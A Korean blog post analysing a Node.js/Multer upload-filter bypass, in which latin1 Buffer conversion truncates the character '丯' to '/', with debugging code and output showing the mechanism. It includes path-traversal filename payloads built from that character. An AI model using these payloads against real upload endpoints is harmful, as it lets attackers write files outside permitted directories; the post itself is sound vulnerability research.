nodejs로 파일 업로드 필터링 우회 방법

남행이 2025. 4. 9. 15:56

https://huntr.com/bounties/92a875fe-c5b3-485c-b03f-d3185189e0b1

AI 관련  1-day를 보던중 신기해서 찾아보았다.

 

https://www.nodejs-security.com/learn/secure-file-handling/weak-multer-file-name-manipulation

 

Weak Multer File Name Manipulation

 

www.nodejs-security.com

다음처럼 누가 정리해둔 취약점이다.

file.originalname = Buffer.from(file.originalname, "latin1").toString("utf8")

다음과같은 파일업로드시 파일명 및 경로를 처리하는 시스템이 있을때

filename = "..丯..丯..丯..丯..丯..丯..丯..丯..丯..丯..丯..丯..丯"+ file_name.replace('/', '丯')

다음과 같은 input을 넣게되면 ../../../../으로 인식되어 상위폴더에 업로드가 가능하게 된다.

 

최신버전의 node.js( v23.11.0 )를 도커를 통해 구축하고 테스트해본 결과 제대로 동작하는것을 확인할수있다.

 

 어디에서 문제가 되는지 궁금했기에 LLM을 이용해 디버깅코드를 작성했다.

// 디버깅용 Node.js 코드
// Node.js v23.11.0에서 실행

// 입력 문자열
const str = "丯"; // 테스트용 단일 문자 (PoC의 ..丯.. 패턴도 가능)
console.log("1. Original String:", str);

// 1단계: 문자열을 UTF-8 바이트로 변환 (Node.js 내부적으로 이렇게 처리됨)
const utf8Bytes = Buffer.from(str, "utf8");
console.log("2. UTF-8 Bytes:", utf8Bytes, utf8Bytes.toString("hex"));

// 2단계: Buffer.from(str, "latin1") 실행
const latin1Buffer = Buffer.from(str, "latin1");
console.log("3. Buffer.from(str, 'latin1') Bytes:", latin1Buffer, latin1Buffer.toString("hex"));

// 각 바이트를 latin1 문자로 해석
console.log("4. Latin1 Interpretation of Bytes:");
for (let byte of latin1Buffer) {
  console.log(`   Byte 0x${byte.toString(16).padStart(2, "0")}: ${String.fromCharCode(byte)} (latin1)`);
}

// 3단계: toString("utf8") 실행
const transformed = latin1Buffer.toString("utf8");
console.log("5. Transformed (toString('utf8')):", transformed);

// 변환된 결과의 바이트 확인
const transformedBytes = Buffer.from(transformed, "utf8");
console.log("6. Transformed Bytes:", transformedBytes, transformedBytes.toString("hex"));

// PoC 패턴 전체 테스트
const pocStr = "..丯..丯..丯丯tmp丯test.txt";
console.log("\nPoC Test:");
console.log("7. PoC Original:", pocStr);
const pocTransformed = Buffer.from(pocStr, "latin1").toString("utf8");
console.log("8. PoC Transformed:", pocTransformed);

// 변환된 각 문자의 ASCII/유니코드 값 확인
console.log("9. Character-by-Character Analysis of PoC Transformed:");
for (let char of pocTransformed) {
  const code = char.charCodeAt(0);
  console.log(`   Char: ${char}, Unicode: U+${code.toString(16).padStart(4, "0")}, ASCII/Byte: 0x${code.toString(16).padStart(2, "0")}`);
}

다음은 해당코드를 돌린 결과이다.

app-1  | 1. Original String: 丯
app-1  | 2. UTF-8 Bytes: <Buffer e4 b8 af> e4b8af
app-1  | 3. Buffer.from(str, 'latin1') Bytes: <Buffer 2f> 2f
app-1  | 4. Latin1 Interpretation of Bytes:
app-1  |    Byte 0x2f: / (latin1)
app-1  | 5. Transformed (toString('utf8')): /
app-1  | 6. Transformed Bytes: <Buffer 2f> 2f
app-1  | 
app-1  | PoC Test:
app-1  | 7. PoC Original: ..丯..丯..丯丯tmp丯test.txt
app-1  | 8. PoC Transformed: ../../..//tmp/test.txt
app-1  | 9. Character-by-Character Analysis of PoC Transformed:
app-1  |    Char: ., Unicode: U+002e, ASCII/Byte: 0x2e
app-1  |    Char: ., Unicode: U+002e, ASCII/Byte: 0x2e
app-1  |    Char: /, Unicode: U+002f, ASCII/Byte: 0x2f
app-1  |    Char: ., Unicode: U+002e, ASCII/Byte: 0x2e
app-1  |    Char: ., Unicode: U+002e, ASCII/Byte: 0x2e
app-1  |    Char: /, Unicode: U+002f, ASCII/Byte: 0x2f
app-1  |    Char: ., Unicode: U+002e, ASCII/Byte: 0x2e
app-1  |    Char: ., Unicode: U+002e, ASCII/Byte: 0x2e
app-1  |    Char: /, Unicode: U+002f, ASCII/Byte: 0x2f
app-1  |    Char: /, Unicode: U+002f, ASCII/Byte: 0x2f
app-1  |    Char: t, Unicode: U+0074, ASCII/Byte: 0x74
app-1  |    Char: m, Unicode: U+006d, ASCII/Byte: 0x6d
app-1  |    Char: p, Unicode: U+0070, ASCII/Byte: 0x70
app-1  |    Char: /, Unicode: U+002f, ASCII/Byte: 0x2f
app-1  |    Char: t, Unicode: U+0074, ASCII/Byte: 0x74
app-1  |    Char: e, Unicode: U+0065, ASCII/Byte: 0x65
app-1  |    Char: s, Unicode: U+0073, ASCII/Byte: 0x73
app-1  |    Char: t, Unicode: U+0074, ASCII/Byte: 0x74
app-1  |    Char: ., Unicode: U+002e, ASCII/Byte: 0x2e
app-1  |    Char: t, Unicode: U+0074, ASCII/Byte: 0x74
app-1  |    Char: x, Unicode: U+0078, ASCII/Byte: 0x78
app-1  |    Char: t, Unicode: U+0074, ASCII/Byte: 0x74

 

buffer.from(str, 'latin1')부분에서 짤리는것을 알수있다.

node js의 문서를 보면

"Latin-1 stands for ISO-8859-1. This character encoding only supports the Unicode characters from U+0000 to U+00FF. Each character is encoded using a single byte. Characters that do not fit into that range are truncated and will be mapped to characters in that range."

다음과 같은 말이있다.

즉 Latin의 범위를 넘으면 하위 8비트만 추출하게된다.

 

app-1  | Char: 丯, Unicode: U+4E2F
app-1  |   Expected Lower Byte: 0x2F
app-1  |   Actual Buffer: <Buffer 2F>
app-1  |   Decoded (utf8): "/"
app-1  | 
app-1  | Char: 世, Unicode: U+4E16
app-1  |   Expected Lower Byte: 0x16
app-1  |   Actual Buffer: <Buffer 16>
app-1  |   Decoded (utf8): ""
app-1  | 
app-1  | Char: 一, Unicode: U+4E00
app-1  |   Expected Lower Byte: 0x00
app-1  |   Actual Buffer: <Buffer 00>
app-1  |   Decoded (utf8): ""
app-1  | 
app-1  | Char: 丂, Unicode: U+4E02
app-1  |   Expected Lower Byte: 0x02
app-1  |   Actual Buffer: <Buffer 02>
app-1  |   Decoded (utf8): ""
app-1  | 
app-1  | Char: 乀, Unicode: U+4E40
app-1  |   Expected Lower Byte: 0x40
app-1  |   Actual Buffer: <Buffer 40>
app-1  |   Decoded (utf8): "@"
app-1  | 
app-1  | Char: A, Unicode: U+0041
app-1  |   Expected Lower Byte: 0x41
app-1  |   Actual Buffer: <Buffer 41>
app-1  |   Decoded (utf8): "A"
app-1  | 
app-1  | Char: ÿ, Unicode: U+00FF
app-1  |   Expected Lower Byte: 0xFF
app-1  |   Actual Buffer: <Buffer FF>
app-1  |   Decoded (utf8): "�"
app-1  | 
app-1  | Char: Ā, Unicode: U+0100
app-1  |   Expected Lower Byte: 0x00
app-1  |   Actual Buffer: <Buffer 00>
app-1  |   Decoded (utf8): ""
app-1  |

맞는지 확인하기 위해 유니코드값과 결과값을 출력하는 코드를 실행시켰다. 정말로 유니코드코드값&0xff한 결과가 출력되는것을 볼수있다.